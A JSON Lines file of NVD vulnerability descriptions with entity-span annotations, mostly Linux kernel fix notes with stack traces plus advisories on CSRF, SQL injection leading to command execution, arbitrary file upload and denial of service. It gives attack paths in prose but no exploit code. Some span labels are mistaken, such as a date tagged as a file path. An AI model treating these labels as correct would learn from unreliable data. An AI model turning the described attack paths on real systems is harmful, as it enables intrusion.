ext4_ext_grow_indepth\n             le16_add_cpu(&neh->eh_depth, 1)\n           ext4_find_extent\n             path[0].p_bh = NULL;\n             path->p_depth = 1\n             read_extent_tree_block  ---> return err\n             // path[1].p_bh is still the old value\n             ext4_free_ext_path\n               ext4_ext_drop_refs\n                 // path->p_depth == 1\n                 brelse(path[1].p_bh)  ---> brelse a buffer twice\n\nFinally got the following WARRNING when removing the buffer from lru:\n\n============================================\nVFS: brelse: Trying to free free buffer\nWARNING: CPU: 2 PID: 72 at fs/buffer.c:1241 __brelse+0x58/0x90\nCPU: 2 PID: 72 Comm: kworker/u19:1 Not tainted 6.9.0-dirty #716\nRIP: 0010:__brelse+0x58/0x90\nCall Trace:\n <TASK>\n __find_get_block+0x6e7/0x810\n bdev_getblk+0x2b/0x480\n __ext4_get_inode_loc+0x48a/0x1240\n ext4_get_inode_loc+0xb2/0x150\n ext4_reserve_inode_write+0xb7/0x230\n __ext4_mark_inode_dirty+0x144/0x6a0\n ext4_ext_insert_extent+0x9c8/0x3230\n ext4_ext_map_blocks+0xf45/0x2dc0\n ext4_map_blocks+0x724/0x1700\n ext4_do_writepages+0x12d6/0x2a70\n[...]\n============================================", "spans": {"FILEPATH: buffer.c": [[1804, 1812]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-49882"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/net_failover: fix txq exceeding warning\n\nThe failover txq is inited as 16 queues.\nwhen a packet is transmitted from the failover device firstly,\nthe failover device will select the queue which is returned from\nthe primary device if the primary device is UP and running.\nIf the primary device txq is bigger than the default 16,\nit can lead to the following warning:\neth0 selects TX queue 18, but real number of TX queues is 16\n\nThe warning backtrace is:\n[   32.146376] CPU: 18 PID: 9134 Comm: chronyd Tainted: G            E      6.2.8-1.el7.centos.x86_64 #1\n[   32.147175] Hardware name: Red Hat KVM, BIOS 1.10.2-3.el7_4.1 04/01/2014\n[   32.147730] Call Trace:\n[   32.147971]  <TASK>\n[   32.148183]  dump_stack_lvl+0x48/0x70\n[   32.148514]  dump_stack+0x10/0x20\n[   32.148820]  netdev_core_pick_tx+0xb1/0xe0\n[   32.149180]  __dev_queue_xmit+0x529/0xcf0\n[   32.149533]  ? __check_object_size.part.0+0x21c/0x2c0\n[   32.149967]  ip_finish_output2+0x278/0x560\n[   32.150327]  __ip_finish_output+0x1fe/0x2f0\n[   32.150690]  ip_finish_output+0x2a/0xd0\n[   32.151032]  ip_output+0x7a/0x110\n[   32.151337]  ? __pfx_ip_finish_output+0x10/0x10\n[   32.151733]  ip_local_out+0x5e/0x70\n[   32.152054]  ip_send_skb+0x19/0x50\n[   32.152366]  udp_send_skb.isra.0+0x163/0x3a0\n[   32.152736]  udp_sendmsg+0xba8/0xec0\n[   32.153060]  ? __folio_memcg_unlock+0x25/0x60\n[   32.153445]  ? __pfx_ip_generic_getfrag+0x10/0x10\n[   32.153854]  ? sock_has_perm+0x85/0xa0\n[   32.154190]  inet_sendmsg+0x6d/0x80\n[   32.154508]  ? inet_sendmsg+0x6d/0x80\n[   32.154838]  sock_sendmsg+0x62/0x70\n[   32.155152]  ____sys_sendmsg+0x134/0x290\n[   32.155499]  ___sys_sendmsg+0x81/0xc0\n[   32.155828]  ? _get_random_bytes.part.0+0x79/0x1a0\n[   32.156240]  ? ip4_datagram_release_cb+0x5f/0x1e0\n[   32.156649]  ? get_random_u16+0x69/0xf0\n[   32.156989]  ? __fget_light+0xcf/0x110\n[   32.157326]  __sys_sendmmsg+0xc4/0x210\n[   32.157657]  ? __sys_connect+0xb7/0xe0\n[   32.157995]  ? __audit_syscall_entry+0xce/0x140\n[   32.158388]  ? syscall_trace_enter.isra.0+0x12c/0x1a0\n[   32.158820]  __x64_sys_sendmmsg+0x24/0x30\n[   32.159171]  do_syscall_64+0x38/0x90\n[   32.159493]  entry_SYSCALL_64_after_hwframe+0x72/0xdc\n\nFix that by reducing txq number as the non-existent primary-dev does.", "spans": {"FILEPATH: /01/2014": [[698, 706]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: KVM": [[669, 672]], "ORGANIZATION: Red Hat": [[661, 668]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54236"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/rds: Fix circular locking dependency in rds_tcp_tune\n\nsyzbot reported a circular locking dependency in rds_tcp_tune() where\nsk_net_refcnt_upgrade() is called while holding the socket lock:\n\n======================================================\nWARNING: possible circular locking dependency detected\n======================================================\nkworker/u10:8/15040 is trying to acquire lock:\nffffffff8e9aaf80 (fs_reclaim){+.+.}-{0:0},\nat: __kmalloc_cache_noprof+0x4b/0x6f0\n\nbut task is already holding lock:\nffff88805a3c1ce0 (k-sk_lock-AF_INET6){+.+.}-{0:0},\nat: rds_tcp_tune+0xd7/0x930\n\nThe issue occurs because sk_net_refcnt_upgrade() performs memory\nallocation (via get_net_track() -> ref_tracker_alloc()) while the\nsocket lock is held, creating a circular dependency with fs_reclaim.\n\nFix this by moving sk_net_refcnt_upgrade() outside the socket lock\ncritical section. This is safe because the fields modified by the\nsk_net_refcnt_upgrade() call (sk_net_refcnt, ns_tracker) are not\naccessed by any concurrent code path at this point.\n\nv2:\n  - Corrected fixes tag\n  - check patch line wrap nits\n  - ai commentary nits", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23419"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\npowerpc/pseries/iommu: IOMMU table is not initialized for kdump over SR-IOV\n\nWhen kdump kernel tries to copy dump data over SR-IOV, LPAR panics due\nto NULL pointer exception:\n\n  Kernel attempted to read user page (0) - exploit attempt? (uid: 0)\n  BUG: Kernel NULL pointer dereference on read at 0x00000000\n  Faulting instruction address: 0xc000000020847ad4\n  Oops: Kernel access of bad area, sig: 11 [#1]\n  LE PAGE_SIZE=64K MMU=Radix SMP NR_CPUS=2048 NUMA pSeries\n  Modules linked in: mlx5_core(+) vmx_crypto pseries_wdt papr_scm libnvdimm mlxfw tls psample sunrpc fuse overlay squashfs loop\n  CPU: 12 PID: 315 Comm: systemd-udevd Not tainted 6.4.0-Test102+ #12\n  Hardware name: IBM,9080-HEX POWER10 (raw) 0x800200 0xf000006 of:IBM,FW1060.00 (NH1060_008) hv:phyp pSeries\n  NIP:  c000000020847ad4 LR: c00000002083b2dc CTR: 00000000006cd18c\n  REGS: c000000029162ca0 TRAP: 0300   Not tainted  (6.4.0-Test102+)\n  MSR:  800000000280b033 <SF,VEC,VSX,EE,FP,ME,IR,DR,RI,LE>  CR: 48288244  XER: 00000008\n  CFAR: c00000002083b2d8 DAR: 0000000000000000 DSISR: 40000000 IRQMASK: 1\n  ...\n  NIP _find_next_zero_bit+0x24/0x110\n  LR  bitmap_find_next_zero_area_off+0x5c/0xe0\n  Call Trace:\n    dev_printk_emit+0x38/0x48 (unreliable)\n    iommu_area_alloc+0xc4/0x180\n    iommu_range_alloc+0x1e8/0x580\n    iommu_alloc+0x60/0x130\n    iommu_alloc_coherent+0x158/0x2b0\n    dma_iommu_alloc_coherent+0x3c/0x50\n    dma_alloc_attrs+0x170/0x1f0\n    mlx5_cmd_init+0xc0/0x760 [mlx5_core]\n    mlx5_function_setup+0xf0/0x510 [mlx5_core]\n    mlx5_init_one+0x84/0x210 [mlx5_core]\n    probe_one+0x118/0x2c0 [mlx5_core]\n    local_pci_probe+0x68/0x110\n    pci_call_probe+0x68/0x200\n    pci_device_probe+0xbc/0x1a0\n    really_probe+0x104/0x540\n    __driver_probe_device+0xb4/0x230\n    driver_probe_device+0x54/0x130\n    __driver_attach+0x158/0x2b0\n    bus_for_each_dev+0xa8/0x130\n    driver_attach+0x34/0x50\n    bus_add_driver+0x16c/0x300\n    driver_register+0xa4/0x1b0\n    __pci_register_driver+0x68/0x80\n    mlx5_init+0xb8/0x100 [mlx5_core]\n    do_one_initcall+0x60/0x300\n    do_init_module+0x7c/0x2b0\n\nAt the time of LPAR dump, before kexec hands over control to kdump\nkernel, DDWs (Dynamic DMA Windows) are scanned and added to the FDT.\nFor the SR-IOV case, default DMA window \"ibm,dma-window\" is removed from\nthe FDT and DDW added, for the device.\n\nNow, kexec hands over control to the kdump kernel.\n\nWhen the kdump kernel initializes, PCI busses are scanned and IOMMU\ngroup/tables created, in pci_dma_bus_setup_pSeriesLP(). For the SR-IOV\ncase, there is no \"ibm,dma-window\". The original commit: b1fc44eaa9ba,\nfixes the path where memory is pre-mapped (direct mapped) to the DDW.\nWhen TCEs are direct mapped, there is no need to initialize IOMMU\ntables.\n\niommu_table_setparms_lpar() only considers \"ibm,dma-window\" property\nwhen initiallizing IOMMU table. In the scenario where TCEs are\ndynamically allocated for SR-IOV, newly created IOMMU table is not\ninitialized. Later, when the device driver tries to enter TCEs for the\nSR-IOV device, NULL pointer execption is thrown from iommu_area_alloc().\n\nThe fix is to initialize the IOMMU table with DDW property stored in the\nFDT. There are 2 points to remember:\n\n\t1. For the dedicated adapter, kdump kernel would encounter both\n\t   default and DDW in FDT. In this case, DDW property is used to\n\t   initialize the IOMMU table.\n\n\t2. A DDW could be direct or dynamic mapped. kdump kernel would\n\t   initialize IOMMU table and mark the existing DDW as\n\t   \"dynamic\". This works fine since, at the time of table\n\t   initialization, iommu_table_clear() makes some space in the\n\t   DDW, for some predefined number of TCEs which are needed for\n\t   kdump to succeed.", "spans": {"FILEPATH: /pseries/iommu": [[76, 90]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: Windows": [[2229, 2236]], "SYSTEM: systemd": [[686, 693]], "ORGANIZATION: IBM": [[748, 751], [797, 800]], "VULNERABILITY: NULL pointer dereference": [[328, 352]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26745"}}
{"text": "WWBN AVideo is an open source video platform. In versions 26.0 and prior, AVideo's admin plugin configuration endpoint (admin/save.json.php) lacks any CSRF token validation. There is no call to isGlobalTokenValid() or verifyToken() before processing the request. Combined with the application's explicit SameSite=None cookie policy, an attacker can forge cross-origin POST requests from a malicious page to overwrite arbitrary plugin settings on a victim administrator's session. Because the plugins table is included in the ignoreTableSecurityCheck() array in objects/Object.php, standard table-level access controls are also bypassed. This allows a complete takeover of platform functionality by reconfiguring payment processors, authentication providers, cloud storage credentials, and more. At time of publication, there are no publicly available patches.", "spans": {"FILEPATH: save.json": [[126, 135]], "FILEPATH: Object.php": [[569, 579]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-34394"}}
{"text": "This High severity RCE (Remote Code Execution)  vulnerability was introduced in versions 9.6.0, 10.0.0, 10.1.0, 10.2.0, 11.0.0, 11.1.0, 12.0.0, and 12.1.0 of Bamboo Data Center.\r\n\r\nThis RCE (Remote Code Execution) vulnerability, with a CVSS Score of 8.6, allows an authenticated attacker to execute malicious code on the remote system.\r\n\r\nAtlassian recommends that Bamboo Data Center customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions:\r\n Bamboo Data Center 9.6: Upgrade to a release greater than or equal to 9.6.24\r\n\r\n Bamboo Data Center 10.2: Upgrade to a release greater than or equal to 10.2.16\r\n\r\n Bamboo Data Center 12.1: Upgrade to a release greater than or equal to 12.1.3\r\n\r\nSee the release notes ([https://confluence.atlassian.com/bambooreleases/bamboo-release-notes-1189793869.html]). You can download the latest version of Bamboo Data Center from the download center ([https://www.atlassian.com/software/bamboo/download-archives]).\r\n\r\nThis vulnerability was reported via our Atlassian (Internal) program.", "spans": {"URL: https://confluence.atlassian.com/bambooreleases/bamboo-release-notes-1189793869.html]": [[792, 877]], "URL: https://www.atlassian.com/software/bamboo/download-archives]": [[965, 1025]], "ORGANIZATION: Atlassian": [[339, 348], [1071, 1080]], "VULNERABILITY: Remote Code Execution": [[24, 45], [191, 212]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-21570"}}
{"text": "Vulnerability in the Oracle CRM Technical Foundation product of Oracle E-Business Suite (component: Preferences). Supported versions that are affected are 12.1.3 and 12.2.3-12.2.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTPS to compromise Oracle CRM Technical Foundation. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle CRM Technical Foundation, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle CRM Technical Foundation accessible data as well as unauthorized update, insert or delete access to some of Oracle CRM Technical Foundation accessible data. CVSS 3.0 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [64, 70], [290, 296], [440, 446], [645, 651], [760, 766]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2651"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nvsock: Keep the binding until socket destruction\n\nPreserve sockets bindings; this includes both resulting from an explicit\nbind() and those implicitly bound through autobind during connect().\n\nPrevents socket unbinding during a transport reassignment, which fixes a\nuse-after-free:\n\n    1. vsock_create() (refcnt=1) calls vsock_insert_unbound() (refcnt=2)\n    2. transport->release() calls vsock_remove_bound() without checking if\n       sk was bound and moved to bound list (refcnt=1)\n    3. vsock_bind() assumes sk is in unbound list and before\n       __vsock_insert_bound(vsock_bound_sockets()) calls\n       __vsock_remove_bound() which does:\n           list_del_init(&vsk->bound_table); // nop\n           sock_put(&vsk->sk);               // refcnt=0\n\nBUG: KASAN: slab-use-after-free in __vsock_bind+0x62e/0x730\nRead of size 4 at addr ffff88816b46a74c by task a.out/2057\n dump_stack_lvl+0x68/0x90\n print_report+0x174/0x4f6\n kasan_report+0xb9/0x190\n __vsock_bind+0x62e/0x730\n vsock_bind+0x97/0xe0\n __sys_bind+0x154/0x1f0\n __x64_sys_bind+0x6e/0xb0\n do_syscall_64+0x93/0x1b0\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\n\nAllocated by task 2057:\n kasan_save_stack+0x1e/0x40\n kasan_save_track+0x10/0x30\n __kasan_slab_alloc+0x85/0x90\n kmem_cache_alloc_noprof+0x131/0x450\n sk_prot_alloc+0x5b/0x220\n sk_alloc+0x2c/0x870\n __vsock_create.constprop.0+0x2e/0xb60\n vsock_create+0xe4/0x420\n __sock_create+0x241/0x650\n __sys_socket+0xf2/0x1a0\n __x64_sys_socket+0x6e/0xb0\n do_syscall_64+0x93/0x1b0\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\n\nFreed by task 2057:\n kasan_save_stack+0x1e/0x40\n kasan_save_track+0x10/0x30\n kasan_save_free_info+0x37/0x60\n __kasan_slab_free+0x4b/0x70\n kmem_cache_free+0x1a1/0x590\n __sk_destruct+0x388/0x5a0\n __vsock_bind+0x5e1/0x730\n vsock_bind+0x97/0xe0\n __sys_bind+0x154/0x1f0\n __x64_sys_bind+0x6e/0xb0\n do_syscall_64+0x93/0x1b0\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\n\nrefcount_t: addition on 0; use-after-free.\nWARNING: CPU: 7 PID: 2057 at lib/refcount.c:25 refcount_warn_saturate+0xce/0x150\nRIP: 0010:refcount_warn_saturate+0xce/0x150\n __vsock_bind+0x66d/0x730\n vsock_bind+0x97/0xe0\n __sys_bind+0x154/0x1f0\n __x64_sys_bind+0x6e/0xb0\n do_syscall_64+0x93/0x1b0\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\n\nrefcount_t: underflow; use-after-free.\nWARNING: CPU: 7 PID: 2057 at lib/refcount.c:28 refcount_warn_saturate+0xee/0x150\nRIP: 0010:refcount_warn_saturate+0xee/0x150\n vsock_remove_bound+0x187/0x1e0\n __vsock_release+0x383/0x4a0\n vsock_release+0x90/0x120\n __sock_release+0xa3/0x250\n sock_close+0x14/0x20\n __fput+0x359/0xa80\n task_work_run+0x107/0x1d0\n do_exit+0x847/0x2560\n do_group_exit+0xb8/0x250\n __x64_sys_exit_group+0x3a/0x50\n x64_sys_call+0xfec/0x14f0\n do_syscall_64+0x93/0x1b0\n entry_SYSCALL_64_after_hwframe+0x76/0x7e", "spans": {"FILEPATH: refcount.c": [[2031, 2041], [2362, 2372]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[335, 349], [842, 856], [1982, 1996], [2313, 2327]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21756"}}
{"text": "DES cipher, which has inadequate encryption strength, is used Hitachi Energy FOXMAN-UN to encrypt user credentials used to access the Network Elements. Successful exploitation allows sensitive information to be decrypted easily. This issue affects \n\n\n\n  *  FOXMAN-UN product: FOXMAN-UN R16A, FOXMAN-UN R15B, FOXMAN-UN R15A, FOXMAN-UN R14B, FOXMAN-UN R14A, FOXMAN-UN R11B, FOXMAN-UN R11A, FOXMAN-UN R10C, FOXMAN-UN R9C; \n  *  UNEM product: UNEM R16A, UNEM R15B, UNEM R15A, UNEM R14B, UNEM R14A, UNEM R11B, UNEM R11A, UNEM R10C, UNEM R9C.\n\n\n\n\nList of CPEs: \n  *  cpe:2.3:a:hitachienergy:foxman-un:R16A:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:foxman-un:R15B:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:foxman-un:R15A:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:foxman-un:R14B:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:foxman-un:R14A:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:foxman-un:R11B:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:foxman-un:R11A:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:foxman-un:R10C:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:foxman-un:R9C:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:unem:R16A:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:unem:R15B:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:unem:R15A:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:unem:R14B:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:unem:R14A:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:unem:R11B:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:unem:R11A:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:unem:R10C:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:unem:R9C:*:*:*:*:*:*:*", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-40341"}}
{"text": "Matrix JavaScript SDK is the Matrix Client-Server software development kit (SDK) for JavaScript. Prior to version 19.7.0, an attacker cooperating with a malicious homeserver could interfere with the verification flow between two users, injecting its own cross-signing user identity in place of one of the users’ identities. This would lead to the other device trusting/verifying the user identity under the control of the homeserver instead of the intended one. The vulnerability is a bug in the matrix-js-sdk, caused by checking and signing user identities and devices in two separate steps, and inadequately fixing the keys to be signed between those steps. Even though the attack is partly made possible due to the design decision of treating cross-signing user identities as Matrix devices on the server side (with their device ID set to the public part of the user identity key), no other examined implementations were vulnerable. Starting with version 19.7.0, the matrix-js-sdk has been modified to double check that the key signed is the one that was verified instead of just referencing the key by ID. An additional check has been made to report an error when one of the device ID matches a cross-signing key. As this attack requires coordination between a malicious homeserver and an attacker, those who trust their homeservers do not need a particular workaround.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-39250"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: rtw88: sdio: Honor the host max_req_size in the RX path\n\nLukas reports skb_over_panic errors on his Banana Pi BPI-CM4 which comes\nwith an Amlogic A311D (G12B) SoC and a RTL8822CS SDIO wifi/Bluetooth\ncombo card. The error he observed is identical to what has been fixed\nin commit e967229ead0e (\"wifi: rtw88: sdio: Check the HISR RX_REQUEST\nbit in rtw_sdio_rx_isr()\") but that commit didn't fix Lukas' problem.\n\nLukas found that disabling or limiting RX aggregation works around the\nproblem for some time (but does not fully fix it). In the following\ndiscussion a few key topics have been discussed which have an impact on\nthis problem:\n- The Amlogic A311D (G12B) SoC has a hardware bug in the SDIO controller\n  which prevents DMA transfers. Instead all transfers need to go through\n  the controller SRAM which limits transfers to 1536 bytes\n- rtw88 chips don't split incoming (RX) packets, so if a big packet is\n  received this is forwarded to the host in it's original form\n- rtw88 chips can do RX aggregation, meaning more multiple incoming\n  packets can be pulled by the host from the card with one MMC/SDIO\n  transfer. This Depends on settings in the REG_RXDMA_AGG_PG_TH\n  register (BIT_RXDMA_AGG_PG_TH limits the number of packets that will\n  be aggregated, BIT_DMA_AGG_TO_V1 configures a timeout for aggregation\n  and BIT_EN_PRE_CALC makes the chip honor the limits more effectively)\n\nUse multiple consecutive reads in rtw_sdio_read_port() and limit the\nnumber of bytes which are copied by the host from the card in one\nMMC/SDIO transfer. This allows receiving a buffer that's larger than\nthe hosts max_req_size (number of bytes which can be transferred in\none MMC/SDIO transfer). As a result of this the skb_over_panic error\nis gone as the rtw88 driver is now able to receive more than 1536 bytes\nfrom the card (either because the incoming packet is larger than that\nor because multiple packets have been aggregated).\n\nIn case of an receive errors (-EILSEQ has been observed by Lukas) we\nneed to drain the remaining data from the card's buffer, otherwise the\ncard will return corrupt data for the next rtw_sdio_read_port() call.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52611"}}
{"text": "Receipt of a specifically malformed NDP packet sent from the local area network (LAN) to a device running Juniper Networks Junos OS Evolved can cause the ndp process to crash, resulting in a Denial of Service (DoS). The process automatically restarts without intervention, but a continuous receipt of the malformed NDP packets could leaded to an extended Denial of Service condition. During this time, IPv6 neighbor learning will be affected. The issue occurs when parsing the incoming malformed NDP packet. Rather than simply discarding the packet, the process asserts, performing a controlled exit and restart, thereby avoiding any chance of an unhandled exception. Exploitation of this vulnerability is limited to a temporary denial of service, and cannot be leveraged to cause additional impact on the system. This issue is limited to the processing of IPv6 NDP packets. IPv4 packet processing cannot trigger, and is unaffected by this vulnerability. This issue affects all Juniper Networks Junos OS Evolved versions prior to 20.1R2-EVO. Junos OS is unaffected by this vulnerability.", "spans": {"ORGANIZATION: Juniper": [[106, 113], [978, 985]], "VULNERABILITY: Denial of Service": [[191, 208], [355, 372]], "VULNERABILITY: denial of service": [[729, 746]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1681"}}
{"text": "Jellystat is a free and open source Statistics App for Jellyfin. Prior to version 1.1.10, multiple API endpoints in Jellystat build SQL queries by interpolating unsanitized request-body fields directly into raw SQL strings. An authenticated user can inject arbitrary SQL via `POST /api/getUserDetails` and `POST /api/getLibrary`, enabling full read of any table in the database - including `app_config`, which stores the Jellystat admin credentials, the Jellyfin API key, and the Jellyfin host URL. Because the vulnerable call site dispatches via `node-postgres`'s simple query protocol (no parameter array is passed), stacked queries are allowed, which escalates the injection from data disclosure to arbitrary command execution on the PostgreSQL host via `COPY ... TO PROGRAM`. Under the role shipped by the project's `docker-compose.yml` (a PostgreSQL superuser), no additional privileges are required to reach the RCE primitive. Version 1.1.10 contains a fix.", "spans": {"FILEPATH: /api/getUserDetails": [[281, 300]], "FILEPATH: /api/getLibrary": [[312, 327]], "FILEPATH: compose.yml": [[828, 839]], "SYSTEM: PostgreSQL": [[737, 747], [844, 854]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-41167"}}
{"text": "Emlog is an open source website building system. emlog v2.6.1 and earlier exposes a REST API endpoint (/index.php?rest-api=upload) for media file uploads. The endpoint fails to implement proper validation of file types, extensions, and content, allowing authenticated attackers (with a valid API key or admin session cookie) to upload arbitrary files (including malicious PHP scripts) to the server. An attacker can obtain the API key either by gaining administrator access to enable the REST API setting, or via information disclosure vulnerabilities in the application. Once uploaded, the malicious PHP file can be executed to gain remote code execution (RCE) on the target server, leading to full server compromise.", "spans": {"FILEPATH: index.php": [[104, 113]], "SYSTEM: PHP": [[372, 375], [601, 604]], "VULNERABILITY: information disclosure": [[513, 535]], "VULNERABILITY: remote code execution": [[634, 655]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-22799"}}
{"text": "KubeEdge is an open source system for extending native containerized application orchestration capabilities to hosts at Edge. Prior to versions 1.11.1, 1.10.2, and 1.9.4, EdgeCore may be susceptible to a DoS attack on CloudHub if an attacker was to send a well-crafted HTTP request to `/edge.crt`. If an attacker can send a well-crafted HTTP request to CloudHub, and that request has a very large body, that request can crash the HTTP service through a memory exhaustion vector. The request body is being read into memory, and a body that is larger than the available memory can lead to a successful attack. Because the request would have to make it through authorization, only authorized users may perform this attack. The consequence of the exhaustion is that CloudHub will be in denial of service. KubeEdge is affected only when users enable the CloudHub module in the file `cloudcore.yaml`. This bug has been fixed in Kubeedge 1.11.1, 1.10.2, and 1.9.4. As a workaround, disable the CloudHub switch in the config file `cloudcore.yaml`.", "spans": {"FILEPATH: cloudcore.yaml": [[878, 892], [1023, 1037]], "VULNERABILITY: denial of service": [[782, 799]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-31075"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nproc: fix UAF in proc_get_inode()\n\nFix race between rmmod and /proc/XXX's inode instantiation.\n\nThe bug is that pde->proc_ops don't belong to /proc, it belongs to a\nmodule, therefore dereferencing it after /proc entry has been registered\nis a bug unless use_pde/unuse_pde() pair has been used.\n\nuse_pde/unuse_pde can be avoided (2 atomic ops!) because pde->proc_ops\nnever changes so information necessary for inode instantiation can be\nsaved _before_ proc_register() in PDE itself and used later, avoiding\npde->proc_ops->...  dereference.\n\n      rmmod                         lookup\nsys_delete_module\n                         proc_lookup_de\n\t\t\t   pde_get(de);\n\t\t\t   proc_get_inode(dir->i_sb, de);\n  mod->exit()\n    proc_remove\n      remove_proc_subtree\n       proc_entry_rundown(de);\n  free_module(mod);\n\n                               if (S_ISREG(inode->i_mode))\n\t                         if (de->proc_ops->proc_read_iter)\n                           --> As module is already freed, will trigger UAF\n\nBUG: unable to handle page fault for address: fffffbfff80a702b\nPGD 817fc4067 P4D 817fc4067 PUD 817fc0067 PMD 102ef4067 PTE 0\nOops: Oops: 0000 [#1] PREEMPT SMP KASAN PTI\nCPU: 26 UID: 0 PID: 2667 Comm: ls Tainted: G\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996)\nRIP: 0010:proc_get_inode+0x302/0x6e0\nRSP: 0018:ffff88811c837998 EFLAGS: 00010a06\nRAX: dffffc0000000000 RBX: ffffffffc0538140 RCX: 0000000000000007\nRDX: 1ffffffff80a702b RSI: 0000000000000001 RDI: ffffffffc0538158\nRBP: ffff8881299a6000 R08: 0000000067bbe1e5 R09: 1ffff11023906f20\nR10: ffffffffb560ca07 R11: ffffffffb2b43a58 R12: ffff888105bb78f0\nR13: ffff888100518048 R14: ffff8881299a6004 R15: 0000000000000001\nFS:  00007f95b9686840(0000) GS:ffff8883af100000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: fffffbfff80a702b CR3: 0000000117dd2000 CR4: 00000000000006f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n <TASK>\n proc_lookup_de+0x11f/0x2e0\n __lookup_slow+0x188/0x350\n walk_component+0x2ab/0x4f0\n path_lookupat+0x120/0x660\n filename_lookup+0x1ce/0x560\n vfs_statx+0xac/0x150\n __do_sys_newstat+0x96/0x110\n do_syscall_64+0x5f/0x170\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\n\n[adobriyan@gmail.com: don't do 2 atomic ops on the common path]", "spans": {"DOMAIN: gmail.com": [[2364, 2373]], "FILEPATH: /proc/XXX": [[131, 140]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1299, 1303]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21999"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\npowerpc/pseries: Whitelist dtl slub object for copying to userspace\n\nReading the dispatch trace log from /sys/kernel/debug/powerpc/dtl/cpu-*\nresults in a BUG() when the config CONFIG_HARDENED_USERCOPY is enabled as\nshown below.\n\n    kernel BUG at mm/usercopy.c:102!\n    Oops: Exception in kernel mode, sig: 5 [#1]\n    LE PAGE_SIZE=64K MMU=Radix SMP NR_CPUS=2048 NUMA pSeries\n    Modules linked in: xfs libcrc32c dm_service_time sd_mod t10_pi sg ibmvfc\n    scsi_transport_fc ibmveth pseries_wdt dm_multipath dm_mirror dm_region_hash dm_log dm_mod fuse\n    CPU: 27 PID: 1815 Comm: python3 Not tainted 6.10.0-rc3 #85\n    Hardware name: IBM,9040-MRX POWER10 (raw) 0x800200 0xf000006 of:IBM,FW1060.00 (NM1060_042) hv:phyp pSeries\n    NIP:  c0000000005d23d4 LR: c0000000005d23d0 CTR: 00000000006ee6f8\n    REGS: c000000120c078c0 TRAP: 0700   Not tainted  (6.10.0-rc3)\n    MSR:  8000000000029033 <SF,EE,ME,IR,DR,RI,LE>  CR: 2828220f  XER: 0000000e\n    CFAR: c0000000001fdc80 IRQMASK: 0\n    [ ... GPRs omitted ... ]\n    NIP [c0000000005d23d4] usercopy_abort+0x78/0xb0\n    LR [c0000000005d23d0] usercopy_abort+0x74/0xb0\n    Call Trace:\n     usercopy_abort+0x74/0xb0 (unreliable)\n     __check_heap_object+0xf8/0x120\n     check_heap_object+0x218/0x240\n     __check_object_size+0x84/0x1a4\n     dtl_file_read+0x17c/0x2c4\n     